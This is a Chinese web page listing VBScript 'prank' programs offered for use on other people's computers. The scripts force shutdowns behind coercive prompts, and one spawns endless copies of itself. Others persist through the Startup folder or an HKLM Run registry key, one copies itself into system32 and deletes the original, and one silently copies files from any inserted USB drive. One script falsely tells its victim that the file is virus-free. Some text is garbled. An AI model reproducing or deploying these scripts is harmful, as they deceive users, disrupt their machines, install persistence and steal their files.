1. 首頁 > 生活百科 > >

三十二個vbs整蠱代碼 整人代碼大全( 二 )

創業資源


dim a a=10 Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 10",,true Set s = CreateObject("sapi.spvoice") while a s.Speak a a = a - 1 wscript.sleep 100 wend CreateObject("SAPI.SpVoice").Speak "Bomb?"復制代碼如下:
do createobject("wscript.shell").run chr(34) & wscript.scriptname & chr(34) loop復制代碼如下:
msgbox"此文件無毒，請放心使用 。",vbretrycancel,"系統提示 。" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.Run "cmd.exe /c shutdown -s -t 300" wscript.sleep 2000 dim a do a=inputbox("輸入abc，否則關機 。") if a="abc" then msgbox" 很遺憾，你中招了，這是整人程序，你就等著關機吧！" exit do else msgbox"乖點，輸入abc" end if loop復制代碼如下:
on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 6 -c ""說我是豬，不說我是豬就一分鐘關你機，不信，試試"" ",0 ,true dim a do while(a"我是豬") a = inputbox ("說我是豬,就不關機，快撒，說 ""我是豬"" ","說不說","不說",8000,7000) msgbox "乖" loop msgbox "早說就行了嘛" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox "自己罵自己的不要臉~~~~~~",4, " "復制代碼如下:
msgbox"你是不是很無聊?。?,4 msgbox"我來陪你玩會兒" msgbox"做好玩兒的準備吧！" do msgbox"你無聊嗎?",vbinformation,"你無聊嗎？" loop【三十二個vbs整蠱代碼整人代碼大全】復制代碼如下:
on error resume next set wr=createobject("scripting.filesystemobject") set ws=createobject("wscript.shell") set f = wr.getfile(wscript.scriptfullname) q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup") if not f="Win32.vbs" then wr.copyfile f,q&"\Win32.vbs",true ws.run"shutdown -p&qu創業網ot;,vbhide 這個太可惡了 只好重啟復制代碼如下:
set ws=createobject("wscript.shell") do ws.sendkeys "{f5}" loop復制代碼如下:
Dim AutoRunProgram Set AutoRunProgram = WScript.CreateObject("WScript.shell") RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" Type_Name = "REG_SZ" Key_Name = "QUESTION.vbS" Key_data = "C:\windows\system32\QUESTION.vbs" AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name Dim fso,file Set fso = CreateObject("Scripting.FileSystemObject") Set file = fso.getfile(WScript.ScriptFullName) file.copy "c:\windows\system32\" Set fso = CreateObject("Scripting.FileSystemObject") f = fso.DeleteFile(WScript.ScriptName) Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 5",,true復制代碼如下:
set wmp=createobject("wmplayer.ocx") set cd=wmp.cdromcollection.item(0) do cd.eject loop復制代碼如下:
on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""喊我聲爹，快喊"" ",0 ,true dim a do while(a"爹") a = inputbox ("喊我爹,快撒，喊 ""爹"" ","喊不喊","不喊",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "兒子" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "等下老爹買棒棒糖給你吃"復制代碼如下:
on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 120 -c ""說你愛我，不說你愛我就兩分鐘關你機，不信，試試"" ",0 ,true dim a do while(a"我愛你") a = inputbox ("說你愛我,就不關機，快撒，說 ""你愛我"" ","說不說","不說",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛，何必這么費勁" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，今天真過癮復制代碼如下:
i = MsgBox("由于你灌水太水需要爆破電腦 。"&_ vbCrLf&"確定爆破嗎？",vbOKCancel,_ "爆破電腦系統！?。。?！") if i = 1 then CreateObject("SAPI.SpVoice").Speak "bone" end if復制代碼如下:
On Error Resume Next Dim i i=0 Set fso=CreateObject("Scripting.FileSystemObject") IP=InputBox("請輸入要監控的U盤盤符:","U盤大盜-By 最聰明的豬","I:") ext=InputBox("請輸入要盜竊的文件名的擴展名:","U盤大盜-By 最聰明的豬","txt") MyFolder=InputBox("請輸入保存文件的路徑:","U盤大盜-By 最聰明的豬","E:\U盤大盜") fso.CreateFolder(MyFolder) Do WScript.Sleep 1000 If fso.FolderExists(IP & "\") Then Exit Do Loop Scan(IP & "\") Sub Scan(Folder_) On Error Resume Next Set Folder_=fso.GetFolder(Folder_) Set Files=Folder_.Files For Each File in Files ext_=fso.GetExtensionName(File) ext_=Lcase(ext_) ext=Lcase(ext) If ext_=ext Then i=i+1 fso.GetFile(File).Copy(MyFolder & "\" & i & "_" & File.Name) End If Next Set SubFolders=Folder_.SubFolders For Each SubFolder In SubFolders Scan(Subfolder) Next End Sub

推薦閱讀